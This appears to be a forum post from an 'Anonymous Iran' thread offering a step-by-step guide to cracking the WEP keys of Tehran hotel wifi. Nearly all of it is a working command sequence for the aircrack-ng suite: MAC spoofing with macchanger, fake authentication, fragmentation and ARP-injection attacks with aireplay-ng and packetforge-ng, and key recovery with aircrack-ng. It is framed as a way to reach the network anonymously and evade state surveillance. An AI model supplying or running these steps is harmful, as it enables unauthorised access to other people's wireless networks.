Anonymous Iran

Chaos Computer Club

The hotels around Tehran all offer WEP encrypted wifi (at least they did 5mos ago when I was there). Since WEP is useless security, here's how to defeat it and make your own proxy.



HOW TO CRACK WEP KEYS TO GET ANON WIFI ACCESS

Download Back Track live DVD & Burn
http://www.remote-exploit.org/backtrack_download.html

Insert DVD into comp, restart and it will boot into linux
login: root pw: toor

type startx to start xwindows then open a Konsole window:

airmon-ng stop wlan0 (or ath0, whatever your wireless card is recognized as)
ifconfig wlan0 down
macchanger -m 00:11:22:33:44:55 wlan0 (hide your MAC)
airmon-ng start wlan0
airodump-ng wlan0

Pick your target, copy it's BSSID, press ctrl + C to end airodump.

airodump-ng -c (channel) -w wep --bssid (paste AP's mac here) wlan0

Open a new KONSOLE:
aireplay-ng -1 0 -a (paste AP) -h 00:11:22:33:44:55 wlan0

Smilieface = Success. :-)

aireplay-ng -5 -b (paste AP) -h 00:11:22:33:44:55 wlan0

A packet will pop up, verify that the MAC is the same MAC of your target.
Press Y if it is, N if it's not.

packetforge-ng -0 -a (paste AP) - h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y ( the .xor filename, starts with fragment..) -w ARP

aireplay-ng -2 -r ARP wlan0

Press Y.

Will start injecting, data packets will rise like crazy. When enough data is obtained..

aircrack-ng wep-01.cap

The FOUND KEY will be in HEX format. Download a HEX to ASCII converter, translate and there's your wep key. Great success! You still have to deal with smartfilter through the hotel's wifi network, but any proxy can defeat that. Congrats you are 100% anon, fuck you state security apparatus, good luck finding me now.

Unregistered

same instructions, but with video so you understand better